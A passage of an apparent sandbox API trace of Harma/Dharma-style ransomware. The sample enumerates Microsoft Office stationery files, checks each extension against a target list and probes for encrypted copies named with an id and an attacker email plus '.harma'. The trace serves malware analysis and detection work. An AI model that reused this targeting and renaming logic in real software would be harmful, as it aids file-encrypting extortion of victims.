Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0055.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0055.990] lstrlenW (lpString=".doc") returned 4 [0055.990] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0055.990] lstrlenW (lpString=".docx") returned 5 [0055.990] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0055.990] lstrlenW (lpString=".pdf") returned 4 [0055.990] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0055.990] lstrlenW (lpString=".xls") returned 4 [0055.990] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0055.990] lstrlenW (lpString=".xlsx") returned 5 [0055.990] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0055.990] lstrlenW (lpString=".ppt") returned 4 [0055.990] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0055.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0055.990] lstrlenW (lpString=".zip") returned 4 [0055.990] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0055.990] lstrlenW (lpString=".rar") returned 4 [0055.990] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0055.990] lstrlenW (lpString=".bz2") returned 4 [0055.990] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0055.990] lstrlenW (lpString=".7z") returned 3 [0055.991] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0055.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0055.991] lstrlenW (lpString=".dbf") returned 4 [0055.991] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0055.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0055.991] lstrlenW (lpString=".1cd") returned 4 [0055.991] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0055.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0055.991] lstrlenW (lpString=".jpg") returned 4 [0055.991] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0055.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0055.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0055.991] lstrlenW (lpString=".doc") returned 4 [0055.991] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0055.991] lstrlenW (lpString=".docx") returned 5 [0055.991] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0055.991] lstrlenW (lpString=".pdf") returned 4 [0055.991] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0055.991] lstrlenW (lpString=".xls") returned 4 [0055.991] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0055.991] lstrlenW (lpString=".xlsx") returned 5 [0055.991] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0055.991] lstrlenW (lpString=".ppt") returned 4 [0055.992] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0055.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0055.992] lstrlenW (lpString=".zip") returned 4 [0055.992] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0055.992] lstrlenW (lpString=".rar") returned 4 [0055.992] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0055.992] lstrlenW (lpString=".bz2") returned 4 [0055.992] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0055.992] lstrlenW (lpString=".7z") returned 3 [0055.992] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0055.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0055.992] lstrlenW (lpString=".dbf") returned 4 [0055.992] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0055.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0055.992] lstrlenW (lpString=".1cd") returned 4 [0055.992] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0055.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0055.992] lstrlenW (lpString=".jpg") returned 4 [0055.992] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0055.993] lstrcmpiW (lpString1=".jpg", lpString2=".harma") returned 1 [0055.993] lstrlenW (lpString="GreenBubbles.jpg") returned 16 [0055.993] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0055.993] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=6406) returned 1 [0055.993] CloseHandle (hObject=0x1ec) returned 1 [0055.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20 [0055.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0055.993] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0055.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0055.994] lstrlenW (lpString=".doc") returned 4 [0055.994] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0055.994] lstrlenW (lpString=".docx") returned 5 [0055.994] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0055.994] lstrlenW (lpString=".pdf") returned 4 [0055.994] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0055.994] lstrlenW (lpString=".xls") returned 4 [0055.994] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0055.994] lstrlenW (lpString=".xlsx") returned 5 [0055.994] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0055.994] lstrlenW (lpString=".ppt") returned 4 [0055.994] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0055.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0055.994] lstrlenW (lpString=".zip") returned 4 [0055.994] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0055.994] lstrlenW (lpString=".rar") returned 4 [0055.994] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0055.994] lstrlenW (lpString=".bz2") returned 4 [0055.994] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0055.994] lstrlenW (lpString=".7z") returned 3 [0055.994] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0055.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0055.995] lstrlenW (lpString=".dbf") returned 4 [0055.995] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0055.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0055.995] lstrlenW (lpString=".1cd") returned 4 [0055.995] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0055.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0055.995] lstrlenW (lpString=".jpg") returned 4 [0055.995] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0055.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0055.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0055.995] lstrlenW (lpString=".doc") returned 4 [0055.995] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0055.995] lstrlenW (lpString=".docx") returned 5 [0055.995] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0055.995] lstrlenW (lpString=".pdf") returned 4 [0055.995] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0055.995] lstrlenW (lpString=".xls") returned 4 [0055.995] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0055.995] lstrlenW (lpString=".xlsx") returned 5 [0055.995] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0055.995] lstrlenW (lpString=".ppt") returned 4 [0055.995] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0055.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0055.996] lstrlenW (lpString=".zip") returned 4 [0055.996] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0055.996] lstrlenW (lpString=".rar") returned 4 [0055.996] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0055.996] lstrlenW (lpString=".bz2") returned 4 [0055.996] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0055.996] lstrlenW (lpString=".7z") returned 3 [0055.996] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0055.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0055.996] lstrlenW (lpString=".dbf") returned 4 [0055.996] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0055.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0055.996] lstrlenW (lpString=".1cd") returned 4 [0055.996] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0055.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0055.996] lstrlenW (lpString=".jpg") returned 4 [0055.996] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0055.996] lstrcmpiW (lpString1=".wmf", lpString2=".harma") returned 1 [0055.996] lstrlenW (lpString="grid_(cm).wmf") returned 13 [0055.996] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0055.997] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=2920) returned 1 [0055.997] CloseHandle (hObject=0x1ec) returned 1 [0055.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf")) returned 0x20 [0055.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0055.997] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0055.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0055.997] lstrlenW (lpString=".doc") returned 4 [0055.997] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1 [0055.997] lstrlenW (lpString=".docx") returned 5 [0055.997] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1 [0055.998] lstrlenW (lpString=".pdf") returned 4 [0055.998] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1 [0055.998] lstrlenW (lpString=".xls") returned 4 [0055.998] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1 [0055.998] lstrlenW (lpString=".xlsx") returned 5 [0055.998] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1 [0055.998] lstrlenW (lpString=".ppt") returned 4 [0055.998] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1 [0055.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0055.998] lstrlenW (lpString=".zip") returned 4 [0055.998] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1 [0055.998] lstrlenW (lpString=".rar") returned 4 [0055.998] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1 [0055.998] lstrlenW (lpString=".bz2") returned 4 [0055.998] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1 [0055.998] lstrlenW (lpString=".7z") returned 3 [0055.998] lstrcmpiW (lpString1=".7z", lpString2="wmf") returned -1 [0055.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0055.998] lstrlenW (lpString=".dbf") returned 4 [0055.998] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1 [0055.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0055.998] lstrlenW (lpString=".1cd") returned 4 [0055.998] lstrcmpiW (lpString1=".1cd", lpString2=".wmf") returned -1 [0055.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0055.998] lstrlenW (lpString=".jpg") returned 4 [0055.999] lstrcmpiW (lpString1=".jpg", lpString2=".wmf") returned -1 [0055.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0055.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0055.999] lstrlenW (lpString=".doc") returned 4 [0055.999] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1 [0055.999] lstrlenW (lpString=".docx") returned 5 [0055.999] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1 [0055.999] lstrlenW (lpString=".pdf") returned 4 [0055.999] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1 [0055.999] lstrlenW (lpString=".xls") returned 4 [0055.999] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1 [0055.999] lstrlenW (lpString=".xlsx") returned 5 [0055.999] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1 [0055.999] lstrlenW (lpString=".ppt") returned 4 [0055.999] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1 [0055.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0055.999] lstrlenW (lpString=".zip") returned 4 [0055.999] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1 [0055.999] lstrlenW (lpString=".rar") returned 4 [0055.999] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1 [0055.999] lstrlenW (lpString=".bz2") returned 4 [0056.000] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1 [0056.000] lstrlenW (lpString=".7z") returned 3 [0056.000] lstrcmpiW (lpString1=".7z", lpString2="wmf") returned -1 [0056.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0056.000] lstrlenW (lpString=".dbf") returned 4 [0056.000] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1 [0056.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0056.000] lstrlenW (lpString=".1cd") returned 4 [0056.000] lstrcmpiW (lpString1=".1cd", lpString2=".wmf") returned -1 [0056.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0056.000] lstrlenW (lpString=".jpg") returned 4 [0056.000] lstrcmpiW (lpString1=".jpg", lpString2=".wmf") returned -1 [0056.000] lstrcmpiW (lpString1=".wmf", lpString2=".harma") returned 1 [0056.000] lstrlenW (lpString="grid_(inch).wmf") returned 15 [0056.000] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0056.001] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=7498) returned 1 [0056.001] CloseHandle (hObject=0x1ec) returned 1 [0056.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf")) returned 0x20 [0056.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0056.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0056.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0056.001] lstrlenW (lpString=".doc") returned 4 [0056.001] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1 [0056.001] lstrlenW (lpString=".docx") returned 5 [0056.001] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1 [0056.001] lstrlenW (lpString=".pdf") returned 4 [0056.001] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1 [0056.001] lstrlenW (lpString=".xls") returned 4 [0056.001] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1 [0056.001] lstrlenW (lpString=".xlsx") returned 5 [0056.002] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1 [0056.002] lstrlenW (lpString=".ppt") returned 4 [0056.002] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1 [0056.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0056.002] lstrlenW (lpString=".zip") returned 4 [0056.002] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1 [0056.002] lstrlenW (lpString=".rar") returned 4 [0056.002] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1 [0056.002] lstrlenW (lpString=".bz2") returned 4 [0056.002] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1 [0056.002] lstrlenW (lpString=".7z") returned 3 [0056.002] lstrcmpiW (lpString1=".7z", lpString2="wmf") returned -1 [0056.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0056.002] lstrlenW (lpString=".dbf") returned 4 [0056.002] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1 [0056.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0056.002] lstrlenW (lpString=".1cd") returned 4 [0056.002] lstrcmpiW (lpString1=".1cd", lpString2=".wmf") returned -1 [0056.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0056.002] lstrlenW (lpString=".jpg") returned 4 [0056.002] lstrcmpiW (lpString1=".jpg", lpString2=".wmf") returned -1 [0056.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0056.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0056.002] lstrlenW (lpString=".doc") returned 4 [0056.002] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1 [0056.003] lstrlenW (lpString=".docx") returned 5 [0056.003] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1 [0056.003] lstrlenW (lpString=".pdf") returned 4 [0056.003] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1 [0056.003] lstrlenW (lpString=".xls") returned 4 [0056.003] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1 [0056.003] lstrlenW (lpString=".xlsx") returned 5 [0056.003] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1 [0056.003] lstrlenW (lpString=".ppt") returned 4 [0056.003] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1 [0056.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0056.003] lstrlenW (lpString=".zip") returned 4 [0056.003] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1 [0056.003] lstrlenW (lpString=".rar") returned 4 [0056.003] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1 [0056.003] lstrlenW (lpString=".bz2") returned 4 [0056.003] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1 [0056.003] lstrlenW (lpString=".7z") returned 3 [0056.003] lstrcmpiW (lpString1=".7z", lpString2="wmf") returned -1 [0056.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0056.003] lstrlenW (lpString=".dbf") returned 4 [0056.003] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1 [0056.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0056.003] lstrlenW (lpString=".1cd") returned 4 [0056.003] lstrcmpiW (lpString1=".1cd", lpString2=".wmf") returned -1 [0056.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0056.004] lstrlenW (lpString=".jpg") returned 4 [0056.004] lstrcmpiW (lpString1=".jpg", lpString2=".wmf") returned -1 [0056.004] lstrcmpiW (lpString1=".htm", lpString2=".harma") returned 1 [0056.004] lstrlenW (lpString="Hand Prints.htm") returned 15 [0056.004] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0056.005] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=235) returned 1 [0056.005] CloseHandle (hObject=0x1ec) returned 1 [0056.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm")) returned 0x20 [0056.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0056.005] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0056.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0056.005] lstrlenW (lpString=".doc") returned 4 [0056.005] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0056.005] lstrlenW (lpString=".docx") returned 5 [0056.006] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0056.006] lstrlenW (lpString=".pdf") returned 4 [0056.006] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0056.006] lstrlenW (lpString=".xls") returned 4 [0056.006] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0056.006] lstrlenW (lpString=".xlsx") returned 5 [0056.006] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0056.006] lstrlenW (lpString=".ppt") returned 4 [0056.006] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0056.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0056.006] lstrlenW (lpString=".zip") returned 4 [0056.006] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0056.006] lstrlenW (lpString=".rar") returned 4 [0056.006] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0056.006] lstrlenW (lpString=".bz2") returned 4 [0056.006] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0056.006] lstrlenW (lpString=".7z") returned 3 [0056.006] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0056.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0056.006] lstrlenW (lpString=".dbf") returned 4 [0056.006] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0056.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0056.006] lstrlenW (lpString=".1cd") returned 4 [0056.006] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0056.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0056.007] lstrlenW (lpString=".jpg") returned 4 [0056.007] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0056.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0056.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0056.007] lstrlenW (lpString=".doc") returned 4 [0056.007] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0056.007] lstrlenW (lpString=".docx") returned 5 [0056.007] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0056.007] lstrlenW (lpString=".pdf") returned 4 [0056.007] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0056.007] lstrlenW (lpString=".xls") returned 4 [0056.007] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0056.007] lstrlenW 